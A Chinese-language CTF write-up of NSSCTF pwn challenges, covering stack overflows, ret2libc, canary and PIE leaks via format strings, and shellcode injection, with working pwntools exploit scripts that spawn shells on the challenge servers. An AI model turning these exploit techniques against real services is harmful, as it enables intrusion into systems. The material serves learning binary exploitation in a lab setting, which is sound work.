前边很大一部分是我很久以前刚刚学的时候写的,想想也要有8、9个月以前了,前边很多题可能解法比较复杂或者写的烂也是因为这个()
最近翻出来发现之前不会的一直尬在那里没去补,所以就想着补完发一份了
当时作为新人打这个比赛其实打的还是很开心的,当时的ai也没那么发达
/1776392819930-ec625c15-a065-4985-9afc-ed8c9f808612.png)
pwn
Does your nc work?
/1754153831500-62ba24bc-962a-4526-9dfb-41d3580d1976.png)
直接虚拟机nc node5.anna.nssctf.cn 25196
/1754154096695-f630992d-b941-4e66-a3fd-6158cbd5a49d.png)
这边我们先进入根目录,ls列一下,发现有个nss,那我想cat一下,结果不是
那继续cd进去nss目录,看见ctf想继续cat,结果又不是
最后打开ctf目录才是,答案为NSSCTF{4e2ebb16-becf-492a-a3cb-208e5d458076}
gift_pwn
/1754237635020-3431ba7d-308f-4ab2-8007-997b1d0895fb.png)
nc node4.anna.nssctf.cn 28348
输入虚拟机然后就没动静了,那没办法只能开ida看看了
/1754237682291-0ba86c63-1838-47e9-ab9b-452de36f614f.png)
可以看到这边vuln存在有栈溢出的漏洞,因为显然buf只能存储16字节的数据,但是read函数允许读取100个字节以内的数据,因此很容易栈溢出。我们可以通过溢出的部分来执行任意代码
/1754237890868-84bd0c2c-652c-4732-8f0d-053fbd97bd6d.png)
这边可以看到还有/bin/sh,点开来看看
/1754237977924-2acb3d32-abd3-4691-82b1-fbd96b1e6e54.png)
这边可以看到/bin/sh开始于4005B6
/1754238036358-b959325b-b3f1-488a-8b23-a27f6d0810a7.png)
所以构造这样子的payload即可
/1754238120054-237be44c-12bc-433f-91c3-76880d3bbc2d.png)
/1754238171428-ce97df10-1104-48aa-a9ca-4fc04da286dd.png)
直接ls发现flag然后cat即可
NSSCTF{2ef7ead1-9abc-4d8e-bce4-87ecfebe3453}
口算题卡
/1754117227780-1987c087-f4ff-4806-960b-9fadba3c4cbc.png)
这网站登不上,只能nc了nc node4.anna.nssctf.cn 28790
/1754123493681-8bced829-41f1-4246-921d-783f038a92bd.png)
不是这比赛怎么全是litctf(欺负我上次lit没去比是吧)
做了几道发现没啥用,再做几道试试看
/1754123776900-053c2bb8-7aae-47aa-8096-3b18e4f7bb3b.png)
怪好玩的,但这样子不知道什么时候是个头,必须写一个代码循环完成计算工作,直到出现答案
/1754153659740-82944e7b-2e85-498f-a7c8-ad77696b6061.png)
每行自动计算,最后得到如下结果
/1754153617103-b5e6477e-70af-4ff0-8577-8a6ac8575810.png)
答案如上
Where_is_shell
/1757118889462-5eb5200e-99ca-47b2-99c5-84ed06428404.png)
保护:
/1758944973490-bb989c77-5aa5-4d0c-abb5-3bf33b58f536.png)
先die看看
/1757119084622-f03cf3e5-38c2-497f-910d-883accc4c4c8.png)
64位Linux,注意payload用p64封装
/1757119169313-3c465c4d-e278-4245-87b2-97842e4734a1.png)
这边可以看到这个read函数能写56个
/1757119201534-b5c99fec-11c6-4707-bf9c-58f8caa0ebe8.png)
但是buf搞0x10+8就溢出了
/1755765916320-c5c63cb4-dbf9-43f7-a056-cc4518e3f6ca.png)
我们搞这个64位传参
这边可以看到我们system的参数是不对的,我们需要用pop把bin_sh给谈到rdi里,然后system这个bin_sh
这边我们需要这个rdi和ret的地址,我们利用代码
ROPgadget –binary “shell” –only “pop|ret”
/1758944719819-d7c675e2-115c-4e85-9337-271eb1a0bd09.png)
这边即可得到
rdi = 0x04005e3
ret = 0x0400416
接下来传参给system即可
/1758944904686-3ca0aad6-e81a-4046-96df-867798e79b17.png)
哦?没有/bin/sh啊,但是保护开了NX,我们用不了shellcode
但是搜sh是可以搜到的(也是正好sh可以指向这个/bin/sh)
/1758945160389-2ec5aae0-f5b5-4fe3-9ffb-c4a04cdc3c5f.png)
next,所以sh的地址不是0x400540,而是0x400541,这应该是唯一的难点了
后边就传参就是了,注意题目和64位需要ret栈对齐
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| from pwn import * context.log_level = "debug" io=remote("node4.anna.nssctf.cn",28447)
padding=0x10+8 rdi = 0x04005e3 ret = 0x0400416 system = 0x400430 sh = 0x400541
payload = b"a"*padding +p64(rdi)+p64(sh)+p64(ret)+p64(system) io.sendline(payload)
io.interactive()
|
/1758945399713-141ecc15-bf06-4432-8ae9-055114f7df7e.png)
NSSCTF{649095a2-cd59-4c3d-b7d8-0ee0f1f70378}
shell
/1758945687584-34457e57-fd9c-4204-9be4-88d1f9d296b9.png)
??没附件?
/1758945795623-56861d08-ef37-4c8d-9871-ef772e0824f9.png)
额,这是。。?这。签到题吧,怎么会比刚那题做的人少啊?这都没难度啊
NSSCTF{64a18987-9d10-4bf1-81d0-a5d2a6a74d80}
ret2text_ez
/1758945891593-6f0108b1-6baa-4e5d-8157-6fb362e51872.png)
保护
/1758945964141-70ee960a-fa95-4ffd-a273-7eceb9e0e655.png)
/1758945976791-38794361-38f5-4f4c-84a3-7922bfb138b7.png)
64位
/1758945997988-88ef99b8-e59b-437e-8b1e-f75b819f1ab1.png)
在vuln函数可以找到漏洞点
/1758946016287-6dad245a-05c1-40c2-b19c-8f46008c2e23.png)
0x20+8溢出
/1758946031829-32fe0bca-7aac-4200-8d0b-0bbd55495297.png)
存在后门函数,我们直接构造漏洞后定位到这边即可,简单题
backdoor地址为0x401196
1 2 3 4 5 6 7 8 9 10 11
| from pwn import * context.log_level = "debug" io=remote("node5.anna.nssctf.cn",29705)
padding=0x20+8 backdoor=0x401196
payload = b"a"*padding +p64(backdoor) io.sendline(payload)
io.interactive()
|
/1758946170281-79f7b6cf-2b07-46a5-9bbe-b9603acac39d.png)
NSSCTF{b094eec7-ea92-4af1-b5e0-90b830ff48fe}
ezpie
/1758946354915-5ca7fba1-86c9-4ac5-b9a8-110387720bdc.png)
先看保护,这边开了PIE
/1758953864583-85e09cb4-3dd2-450f-a8c5-a8ba08802dd8.png)
然后看die
/1758953872596-322159e9-2307-4d8a-93de-e7a3a6712233.png)
这边开了PIE
/1758953994740-79d0eb46-14c2-4a7b-a92e-1ab6abb16ce0.png)
即位置无关可执行文件,这意味着我们不能再直接写地址构造过去
/1758954733756-c641bae8-349e-4c2a-b26d-49f7c4d20a5e.png)
NX没开,所以不能构造shellcode
PIE没开,所以不能直接用地址
所以我们只能用已经使用过的函数得到基地址,再利用基地址加偏移地址得到shell地址了
/1758955287767-cc9f8c45-fdb4-4967-b689-628e1e78cb50.png)
当然,利用上述知识,我们也可以直接从main跳到shell,由于相对偏移固定不变,所以我们只要知道main和shell间的相对偏移即可迁移过去
/1758955891146-ba9a30ec-1126-48cd-bd74-abbdffa7f0f1.png)
利用ida,我们其实可以直接得到这俩中间差了0x80F-0x770=0x9F(readelf读也一样)
一般地址的字符串输出出来都是十位,0x后边跟8位
这边我们要做加法,但是截取之后的地址是带着0x的字符串
所以我们要先int(,16),然后再加9F去
这边不是0x00000770吗mian地址,所以我们就截断70然后要前边的十位即可
main_now = io.recvuntil(‘70’)[-10:]
main_addr = int(main_now,16)
/1758956440431-8feef276-3496-46cf-922a-aca7efe69692.png)
别忘了构造溢出
1 2 3 4 5 6 7 8 9 10 11 12
| from pwn import * context.log_level = "debug" io=remote("node7.anna.nssctf.cn",27715)
padding=0x28+4 main_now = io.recvuntil('70')[-10:] main_addr = int(main_now,16)
payload=b"a"*padding+p32(main_addr+0x9F) io.sendline(payload)
io.interactive()
|
/1758956587949-4fda8ecf-0035-4e29-bf62-f79480ad0c9a.png)
得到flag
NSSCTF{02f1ff7b-26c3-4cbb-91d4-878d66569199}
getshell2
/1758956662099-9ac47324-6a2d-44e1-8a5d-29767d0b7ac7.png)
保护:
/1758956775769-a9a995e7-145c-4f6f-b54b-e5325509514c.png)
这边可以看到32位,die就省了
/1758956819047-c7d3b036-31de-410d-a84c-cd2b44ef71bd.png)
溢出点还是蛮好找的,就在main函数里的vulnerable函数
padding=0x18+4
/1758956946259-a5d86689-fe55-427b-b462-ff6590c19395.png)
system里的内容奇奇怪怪(),但是没有别的/bin/sh了
1 2
| ROPgadget --binary service --string '/bin/sh' ROPgadget --binary service --string 'sh'
|
但是搜索可以搜到有’sh’
/1758957185481-2cca4b3a-3f96-4dc5-ae6a-a6294bba0c6b.png)
得到sh的地址在0x08048670
那直接32位传参开始了
1 2 3 4 5 6 7 8 9 10 11 12
| from pwn import * context.log_level = "debug" io=remote("node5.anna.nssctf.cn",29307)
padding=0x18+4 system=0x08048529 sh=0x08048670
payload = b"a"*padding+p32(system)+p32(sh) io.sendline(payload)
io.interactive()
|
/1758957921688-581021f4-996e-462f-8481-cf08a99eefac.png)
藏的够深的啊
/1758957940417-54f1c405-1997-4a96-b63d-bbeab3efacbf.png)
NSSCTF{64d636d0-6ca3-4d28-80de-5d383b93ba0e}
ret2shellcode
/1758957969792-465b5470-339f-491c-82eb-33271f81f56b.png)
保护:
/1758958337900-9234c967-6d8e-49d8-927e-32bec0c6f6ab.png)
给了个c语言的文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| #include<stdio.h> char buff[256]; int main() { setbuf(stdin,0); setbuf(stderr,0); setbuf(stdout,0); mprotect((long long)(&stdout)&0xfffffffffffff000,0x1000,7); char buf[256]; memset(buf,0,0x100); read(0,buf,0x110); strcpy(buff,buf); return 0; }
|
/1758958172333-fb556584-564c-4cdb-a44a-5136d6dd4364.png)
所以看似这边是只有NX保护,但是又用mprotect提高了权限,又用strcpy移动到全局变量所在位置,靠着之前的mprotect变的可执行,于是在这样子的协作下成功让shellcode能用了
/1758958674696-bb56f4be-d00e-49d5-b3ab-500230c09489.png)
这边可以看到了经典的栈溢出漏洞
/1758958427855-3f3abac0-e0ea-45ab-b864-26942f84e26e.png)
溢出为padding = 0x100+8
先溢出,然后直接shellcode传上去即可
构造shellcode:
shellcode = asm(shellcraft.sh())
由于代码是把buf复制到buff里边
/1758961160086-89b7458f-6409-4e34-92c6-1eea4737bafd.png)
所以我们一开始就要输入shellcode,在算上shellcode之后再去溢出,也就是下边这样子
shellcode.ljust((0x100+0x08),b”a”)
最后返回p64(buff)
所以代码也很精简
1 2 3 4 5 6 7 8 9 10
| from pwn import * context(os='linux',arch='amd64',log_level='debug') io=remote("node5.anna.nssctf.cn",20680)
shellcode=asm(shellcraft.sh()) buff=0x004040A0 payload=shellcode.ljust((0x100+8),b"a")+p64(buff)
io.sendline(payload) io.interactive()
|
这边这一行很重要context(os=’linux’,arch=’amd64’,log_level=’debug’)
因为shellcode默认干的是32位的,现在我们需要64位需要强调一下
/1758961468426-65e46c1e-2417-4a78-b86d-4ad2548aa8ec.png)
/1758961426826-44b612c5-8e08-4114-bfa5-e2220501500c.png)
得到flag:
nssctf{W@rn1ng,Sh31lc0de_inj3ct3r!!!}
babyarray
/1758961765033-9317d8f0-9ec6-47a9-9805-fb1e192f39df.png)
保护:
/1758961897498-23a35fad-3556-4dcb-98bd-555c0b06e72d.png)
64位
/1758962043130-e54689a3-a93f-4d1c-97dd-630d605030ed.png)
大概意思是我们写的内容(我觉得得是个数字)会存到v4这个地址,最多写0x4+8个内容
/1758962065248-2fd3e663-3e53-40a7-bc4b-ce61f147d562.png)
然后呢,这个数字会拿来乘以4后加6295712
而我们第二次输入的东西就到这个大数字的地址
/1758962342813-e1bd2adb-c612-4536-8bc4-b33f6f13a668.png)
而我们的目标也挺明确,让a=0
/1758962365702-4f29ece8-85eb-4bb8-8158-a82687234fdb.png)
a现在是恒等于1
地址为0x0601068
所以很明确了啊,我们先构造一个能到0x0601068(即6295656)的输入,再写个0输入
(6295656-6295712)/4
算一下,一开始得输入的是-14
OK构造exp
1 2 3 4 5 6 7 8 9
| from pwn import * context(os='linux',arch='amd64',log_level='debug') io=remote("node4.anna.nssctf.cn",28402)
io.recvuntil("index:") io.sendline("-14") io.recvuntil("value:") io.sendline("0") print(io.recv())
|
/1758963083683-4aaa1257-4de8-4173-b3b2-dc8b41a81fc4.png)
NSSCTF{baby_arr@yxxxx}
PWN1
/1758974901415-9853bfba-b55e-41e7-8547-71eb5a77c534.png)
保护:
/1758975057474-b59d09f6-b43b-4a1c-b89a-c9005a76dea3.png)
提示Ubuntu 18的时候就该知道了,是64位且要注意栈对齐问题
NX保护了,不能直接构造shellcode,要ROP
/1758975386939-10f17c5d-1758-42aa-bb22-4d35c8fb9081.png)
这个程序的内容大概理解一下也是这样子
/1758975599756-68738cb2-f5fe-4321-be95-4df0df312c7f.png)
就是先问你三选一,选3没用,选2就继续问,直到你选1
然后进入加密环节
/1758975678191-ff0d07b3-a00f-417a-a260-7b4287ea25c6.png)
解密环节就是先纯异或,这似乎意味着我们可以把密文拿来加密一遍得到答案
/1758975768416-f22d36de-7d99-4e07-b148-0aed77413113.png)
额好像有点纰漏,问题不大,不过我没看懂这玩意有啥用这个加密
主要是这题什么都没有,无system无bin_sh,并且具备着puts函数打印泄露
所以这一题基本上考虑就是泄露+ret2libc的结合
加密函数或许是为了给这个gets函数吧,拿来栈溢出用
/1758976053333-08c62b51-1747-4bbb-9898-a3f20467b9b1.png)
栈溢出的大小是0x50+8
/1758976079992-be47c2f5-1a67-4d9e-8b39-92066cff729b.png)
这边我们发现程序多次运用puts函数,因此可以利用puts函数来泄露libc地址
构造payload1还需要注意栈对齐,这边利用命令搜索一下rdi和ret的地址
ROPgadget –binary “pwn” –only “pop|ret”
/1758976879670-e6755256-165a-4791-b360-3c30ece1ac8c.png)
所以rdi=0x0400c83
ret=0x04006b9
然后我们即可构造payload1
payload1=b”a”*padding+p64(rdi)+p64(puts_got)+p64(ret)+p64(puts_plt)+p64(main)
/1758976998026-a6b9f055-49c0-4a82-9dc1-942a44acb0b8.png)
这边就是上述的payload1大概的内容
注意因为我们这边的栈溢出靠的是gets函数,我们需要有一个gets函数的地方,而这个地方在encrypted函数内部
/1758976053333-08c62b51-1747-4bbb-9898-a3f20467b9b1.png)
所以我们这边需要注意一下sendline的地址,打好断点
先定位Input your choice!然后输入1
等再一次定位到encrypted说明进入内部了,这个时候再放payload1
1 2 3 4
| io.recvuntil("Input your choice!\n") io.sendline("1") io.recvuntil("encrypted") io.sendline(payload1)
|
1 2
| io.sendlineafter('Input your choice!\n',b'1') io.sendlineafter('encrypted',pay)
|
发完payload1后就要开始搭建2了
这边直接照例截断
puts=u64(io.recvuntil(b’\x7f’)[-6:].ljust(8, b’\x00’))
得到puts的真实地址,因为64位需要截取往前6个字节的数据,数据后方需要补零.ljust(8, b”\x00”))补零之后才能被u64进行小端序转换
得到之后我们直接利用libcsearcher去得到libc库
然后利用puts算出基地址后利用这个得到system和/bin/sh
这边主要麻烦的还是栈对齐问题,这个是心腹大患,我感觉我没法很好的处理,目前一直是在疯狂试错
/1759019393670-47a72b4f-2b7b-4e05-93bd-207c95cc982c.png)
/1759019603130-cf86e32f-e1e2-4652-9bc8-875d724e26e1.png)
/1759019719756-df21ceba-1c5c-4c04-8d5a-f6e5b4def037.png)
好吧可以动调然后来看调用的函数看看最后的空间地址是不是8结尾的,是的话得加ret
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33
| from pwn import * from LibcSearcher import * context (os='linux', arch='amd64', log_level='debug') elf=ELF("./pwn") io=remote("node5.anna.nssctf.cn",24164)
main = elf.symbols["main"] puts_plt = elf.plt["puts"] puts_got = elf.got["puts"] padding=0x50+8
rdi=0x0400c83 ret=0x04006b9
payload1=b"a"*padding+p64(rdi)+p64(puts_got)+p64(ret)*2+p64(puts_plt)+p64(main) #这边的p64(ret)是可以不写的,毕竟乘2和0是一样的 io.recvuntil("Input your choice!\n") io.sendline(b"1") io.recvuntil("encrypted") io.sendline(payload1)
puts=u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) libc=LibcSearcher("puts",puts) libc_base=puts-libc.dump("puts") system=libc_base+libc.dump("system") bin_sh=libc_base+libc.dump("str_bin_sh")
payload2=b"a"*padding+p64(ret)+p64(rdi)+p64(bin_sh)+p64(system) io.sendlineafter('Input your choice!\n',b'1') io.sendlineafter('encrypted',payload2) #用前边的先recvuntil再sendline也一样
io.interactive()
|
/1758979155744-ba485ecf-2602-4afa-bdc9-f29b4a4707cc.png)
成功得到flag:NSSCTF{d637db40-0b4e-45d9-bda3-286d44f6654c}
ezr0p32
/1759055512794-ae73909e-0377-45bb-bb50-a5ead3a63ce2.png)
保护:
/1759055503240-5accaaea-31f2-4884-8c4c-848bf6687e9b.png)
32位,看看main函数
/1759055542536-35bb9887-2a45-4e93-941b-f7aaf43002ea.png)
system函数在这边,溢出点也在这边
/1759055567288-499f4095-42dc-4430-9c52-8a2641b76ee9.png)
padding=0x1C+4
那很明确了,只差一个/bin/sh,先搜搜看吧
1 2
| ROPgadget --binary pwn --string '/bin/sh' ROPgadget --binary pwn --string 'sh'
|
/1759055633045-a0db06b8-0326-4fb0-af02-dc0469f855f2.png)
什么都没有欸,而且题目说不要用libc
/1759055734310-2d0e63ec-8715-4763-a3c7-cf375761a611.png)
你看第一个这边还有一个buf,是无栈溢出漏洞的
/1759055771722-1188706c-b68a-4386-bfb3-446132178135.png)
而且ctrl+s搜索之后发现这一块是可写的,我们不需要执行,只要可写就好了
那事情就简单了,先打断点,直接往这边写/bin/sh
然后再往下走,走到栈溢出漏洞所在处,构造栈溢出漏洞,然后32位传参即可
好我们直接写代码
需要的地址:
bss_addr=0x0804A080
system=0x080483D0
OK了,写代码去了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| from pwn import * context.log_level="debug" io=remote("node5.anna.nssctf.cn",25750)
bss_addr=0x0804A080 system=0x080483D0 padding=0x1C+4
io.recvuntil(b"name") io.sendline(b"/bin/sh")
io.recvuntil(b"now it's your play time~") payload=b"a"*padding+p32(system)+p32(0)+p32(bss_addr) io.sendline(payload)
io.interactive()
|
/1759056357576-e15b376d-6958-46b9-97b7-2a0c855423fb.png)
得到flag:nssctf{L3arn_R0p_1s_3@5y_but_k33p_is_c00l}
ezcmp
/1759062551606-21ee8f47-ed32-4f2f-b26f-f01f9a70e0d2.png)
保护:
/1759062658780-b1f1dd54-3e44-4371-934d-4b7103da466d.png)
一道动调题
给了一个c
/1759062613766-42e4eace-302d-40f6-9c73-b6f93da0c864.png)
是一串加密的代码,这边strcpy会把后边那一串传给buff
然后又去加密buff
最后是用buff和我们的输入去比较,只要相同成功就有system(“/bin/sh”);了
/1759062716734-1f6653ec-8c39-48ee-8d93-5baf129879d4.png)
为什么说是一道动调题,主要还是因为这边加密的内容其实是固定的
所以我们是可以动调结束看看最后的加密内容的,然后直接输入加密结果去和加密结果比,肯定一模一样啊
1 2 3 4 5
| chmod 777 ezcmp改一下属性先,不然跑不起来 gdb ezcmp break main打断点 run跑起来 n一直步过
|
/1759063087281-963415c4-5ef6-4fdf-a489-764e4ba67cb5.png)
一直过到这个strncmp的比较环节
这边可以看到buff的地址,就在下边一行
我们要看的自然是这个下边的内容
直接输入x/10gx 0x404100可以查看0x404100即往下数的 ,10个地址的数据(多点,避免看少了)
/1759063178037-4091f055-6364-4741-b006-272f090d217c.png)
OK啊我们直接复制粘贴payload进去就是了
0x144678aadc0e4072 0x84b6e81a4c7eb0e2
0xf426588abcee2052 0x0000c8cb2c5e90c2
/1759063377749-6e3cc987-6be0-436d-9f1c-6dad5c97266b.png)
这边打上断点
直接写代码
1 2 3 4 5 6 7 8 9
| from pwn import * context.log_level="debug" io=remote("node5.anna.nssctf.cn",21164)
io.recvuntil("GDB-pwndbg maybe useful\n") payload=p64(0x144678aadc0e4072)+p64(0x84b6e81a4c7eb0e2)+p64(0xf426588abcee2052)+p64(0x0000c8cb2c5e90c2) io.sendline(payload)
io.interactive()
|
/1759064756218-46613cdd-e0d5-4cdd-b543-0ba76c25c2d5.png)
得到flag:nssctf{Yo0ur_ggddddb_1s_o00okkk!}
不是哥们ret2text还阴啊?
/1759056412068-99c6bf7d-a983-4e86-add4-f580c8d1673a.png)
保护:
/1759056468191-f8fe766a-957a-48ac-a9bd-d8b92b13d561.png)
这个保护怕是确实有点阴
/1759056522106-cf946e32-5e52-4522-8d79-f443603914a1.png)
开了影子栈和间接分支跟踪
/1776393671171-1a808125-7a16-4ff9-adb7-e820b1cbfd19.png)
简而言之就是v2每次循环读一个进v1[i]
result = v1[i]
如果是\n就跳出循环,然后++i
/1776393866018-bd3774fe-3a80-4266-b82c-1c5a36421d1f.png)
而后门也很明确。就在path1
那直接构建栈溢出返回path1就好了啊,这题唯一的难点就在于不能直接跳转
/1776393996200-e7242ede-8e66-4d32-90de-d5e61dba00ff.png)
1 2 3 4
| int result; // eax char v1[56]; // [rsp+0h] [rbp-40h] BYREF int v2; // [rsp+38h] [rbp-8h] int i; // [rsp+3Ch] [rbp-4h]
|
可以看到v1到栈底是0x40的距离,而i是0x4的距离
所以不难理解我们一味塞东西会把i一起干掉
我们是要塞0x48个的,也就是说i得是0x47(i从0开始数
1 2 3 4 5 6 7 8 9
| from pwn import * context(os='linux', arch='amd64', log_level='debug')
io = remote('node6.anna.nssctf.cn', 26665) backdoor = 0x4011F1
payload = b'a'*(0x40-0x4) + b'\x47' + p64(backdoor) io.sendline(payload) io.interactive()
|
/1776394823152-386a82a2-8ed4-4b0b-a758-61d52678d6dc.png)
得到flag
find_flag
/1758979352193-19903487-1816-4f0f-9bb9-e40288c00185.png)
保护:
/1758979427242-c2f2a289-caaf-4345-a283-9f11701f96b5.png)
64位,这特么啥??全开了??
先ida看看吧
/1758979636813-8f43725f-fa83-4104-b34c-ada79539f8b2.png)
直接shift+f12,别的不知道,这个函数有点意思,只要运行这个函数就什么都有了
sub_1229
/1758979732307-68862fd1-d6b6-472a-a1f1-54e924992ec3.png)
由于保护全开,所以我们必须一个个绕过,首先是还原金丝雀Canary(说起来上边画的是不是就是金丝雀啊。)
(有点太难了,后边再看吧)
好我回来了
/1776394877451-ddb058e1-adc5-4365-988c-34d1531e3db7.png)
这边是主要的部分,噢现在看懂了,有格式化字符串漏洞的一道题,保护开了不少,但是通过格式化字符串可以把pie_base和canary的值全部泄露,然后就可以全部bypass了
/1776394993487-49cfb687-b6cd-46dc-ac95-3cf45519be52.png)
还有明显的栈溢出和后门函数,也就是说我们只需要直接用第一个gets函数的格式化字符串得到PIE_base和canary,之后直接构造payload,利用第二个栈溢出返回到后门函数即可
先探测参数位置
1
| AAAA.%p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p
|
/1776395388940-469054f3-ad6c-4ab9-a475-6a151c667f6a.png)
我们知道canary一般最后是00结尾防止栈溢出的,所以是第17位这一个
而pie基址可以通过返回地址得到,返回地址在rbp+8,也就是canary上方16字节处,所以是第19位这一个,看起来也符合数字范围
当然了,直接算也可以的
format到rbp有0x60,canary又=rbp-0x8,所以canary_offset=(0x60-0x8)/8+6=17
其实都是一样的
好接下来编写exp,在写的时候绕过canary,跳转地址的时候加piebase就好了
1 2 3
| char format[32]; // [rsp+0h] [rbp-60h] BYREF char v2[56]; // [rsp+20h] [rbp-40h] BYREF unsigned __int64 v3; // [rsp+58h] [rbp-8h]
|
栈溢出的时候先写0x40-8的,然后填充canary,再溢出,再回到backdoor函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| from pwn import * context(os='linux', arch='amd64', log_level='debug') io = remote('node4.anna.nssctf.cn', 26912) backdoor = 0x1229
io.sendlineafter('name?', '%17$p---%19$p') data=io.recvuntil("!").decode() tmp=data.split(" ")[5].split("---")[0] canary=int(tmp,16) tmp=data.split("---")[1].split("!")[0] pie_int=int(tmp,16)
pie_base = pie_int - 0x0146F backdoor = backdoor + pie_base
payload = b'a'*(0x40-8)+p64(canary)+b'a'*8+p64(backdoor) io.sendlineafter('Anything else? ', payload) io.interactive()
|
得到flag
fmtstrre
/1776393537159-54d0a24d-7451-4bda-8110-fdf8fae79901.png)
又是一道格式化字符串的题目,而且还有hint
保护:
/1776402394657-552ee6fd-91a0-4402-b4c2-5576991ce742.png)
/1776402421957-7873a0d2-5478-4679-a8f6-031b954e68cc.png)
打开IDA可以看到上来就读了flag放在了fd里边,之后还有一个格式化字符串漏洞,我们可以直接输出
这边可以看到是把flag放到了name里边
/1776402507550-56898a85-c22b-444d-9da9-dbc8adb46fac.png)
直接就可以看到name在.bss段
我们先利用格式化字符串然后看看这个0x4040C0在第几个
1
| AAAA.%p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p
|
但是这样子数太累了,一个是写脚本,另一个就是看结构计算位置
1 2 3
| char buf[256]; // [rsp+0h] [rbp-110h] BYREF void *v5; // [rsp+100h] [rbp-10h] int fd; // [rsp+10Ch] [rbp-4h]
|
buf到rbp是0x110,而v5到那是0x10,正好中间差了0x100
0x100/8+6 =38,所以是第38个参数
%38$s
/1776403092232-5890862d-3380-4f1e-b6ed-ef5b114983b0.png)
即得
nssctf{Never_giv3_up!!Chall3nge_y0urs31f!!}
(我当时是懒得了解吗,这种简单题都没做)
shellcode?
/1776403298078-ba061a91-de32-4ad7-85ca-da1fac8bd73b.png)
保护:
/1776403890803-e8f820be-b0dc-4ea1-84f0-cca44ee8f246.png)
说是shellcode结果NX开了,应该是有法子让我们在栈上执行代码
/1776404090678-1889f7f6-15fe-4ed0-b9f0-1b87ae99700b.png)
可以看到这边mmap映射了一段可写可读可执行的内存
在0x30303000,而且很大啊,后边我们还能read写进去
甚至最后直接把我们写的这个内存地址当作了函数调用
那我们直接去那边shellcode就好了
1 2 3 4 5 6 7
| from pwn import * context(os='linux', arch='amd64', log_level='debug') io = remote('node5.anna.nssctf.cn', 23391)
shellcode = asm(shellcraft.sh()) io.sendline(shellcode) io.interactive()
|
/1776404283710-f1e4d3fd-d4a0-4281-b9eb-02f7160094ac.png)
就那么简单
babyfmt
/1776403341262-8933736a-bdce-4ab2-9d6b-0988983911d5.png)
两个babyfmt,不知道哪一个是原来的赛题了
/1776404438392-7994dff0-527f-443e-9c96-32ab511c213d.png)
可能是这一个?
保护:
/1776404478467-8fc0ccca-def3-4856-b65d-5d365a1b95f6.png)
/1776404640672-6d7a4825-7ff4-405f-b40b-c24a44f394b1.png)
在输入name这边存在格式化字符串漏洞,我们直接修改nptr,使其等于一个固定值就好了(一开始不是随机数嘛
/1776404701828-4c7df1ec-ef78-4233-9287-be798da45d22.png)
接下来就是确定是第几个参数了
/1776405336196-2692dd0d-d503-4661-9498-c95e3d78897f.png)
第十个,在这边利用格式化字符串修改0x804C044的内容即可
1 2 3 4 5 6 7 8 9 10
| from pwn import * context(os='linux', arch='i386', log_level='debug') io = remote('node5.anna.nssctf.cn', 23174)
payload = fmtstr_payload(10, {0x804C044: 1})
io.sendlineafter(b'your name:',payload) io.send(b'1')
io.interactive()
|
/1776405427000-0616e09c-31fc-498f-8251-cfd56a4b68f0.png)
simple_shellcode
/1776403356777-c405dbd7-1ebe-445f-a0c6-aa6f217208f6.png)
保护:
/1776405643096-954de61d-e16c-418a-a087-f8f883c9c561.png)
你们shellcode都这样吗
有的时候我在想在新生赛看见这样子的多保护题是不是应该开心,毕竟新生赛的题开那么多保护反而很简单
/1776405701574-6703815a-3faa-462c-9e7b-580456b528fa.png)
跟上边那个shellcode有点像,这边也是会执行我们输入的,但是这边多了一个sandbox,而且只允许我们输入0x10的大小
/1776406183992-79da602b-20fa-473e-bbfa-3ac235e8a3d3.png)
禁用了execve和execveat的系统调用,但是是允许别的系统调用的,允许ORW
我们可以直接用syscall进行read的系统调用读取文件,就是shellcode需要我们自己构造了,不太好shellcraft直接出,因为长度限制的很小
1 2 3 4 5
| mov rdi, rax # 1. 准备 read 的参数 mov rsi, rdx # 2. 设置缓冲区地址 add rsi, 0x10 # 3. 调整地址偏移 syscall # 4. 执行 read 系统调用 call rsi # 5. 跳转到新代码
|
其实就是一个read(0, 0xcafe0010, 0x1000) (因为rdx这个时候是0xcafe0010
主要是为了扩大长度
之后直接用shellcraft写shellcode读取flag就好啦,符合题目的说法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| from pwn import * context(os='linux', arch='amd64', log_level='debug') io = remote('node5.anna.nssctf.cn', 21426)
shellcode = asm(''' mov rdi, rax; mov rsi, rdx; add rsi, 0x10; syscall; call rsi; ''')
io.sendlineafter(b'shellcode:\n', shellcode)
payload = asm(shellcraft.cat('/flag')) io.sendline(payload)
io.interactive()
|
烧烤摊儿
/1776403366887-96ccc032-4b9c-43a4-9d8a-672b9c0f76df.png)
霍还是ciscn的初赛题
保护:
/1776413542364-f39759b9-b54e-4be1-a6e3-ca729ba673b0.png)
注意一下这题是静态的,可能是跟ret2syscall有点关系
/1776413565022-afa12216-5608-4598-9ef6-965cdff8aa48.png)
就是不一样,还有一堆啤酒串
/1776414011027-859e6246-c406-4972-b460-029f2546de97.png)
可以先看看菜单
/1776413670126-5a76dcf5-20a1-4c2a-9134-cc3fcc4e0bf1.png)
/1776413701987-dc997a87-70f2-42b2-b12b-ced005b02677.png)
大概是啤酒10块,串5块,但是这边v9是int,我们可以v9<0,然后就有一大堆钱了
/1776414230132-2ea32103-4297-4a8e-ab23-018ca8a8412a.png)
赚钱小妙招
/1776413710947-50b5d906-1d5b-41d8-a5e8-a990e9298b3b.png)
然后可以check一下有多少钱
/1776414058486-a0c394f2-a2ad-4416-98a6-770c1887dfc2.png)
一开始是233
/1776413722537-b19bb16f-b959-483f-9d95-40aef4b1ec41.png)
如果有10w+的钱还能买一个vip,承包了,由于前边能刷钱了,钱不是问题
/1776414272150-cf262187-3cce-4470-997e-09ae3cef369b.png)
/1776413777171-9eb6e4e9-33ec-4a2e-88cc-4dcd958bccfb.png)
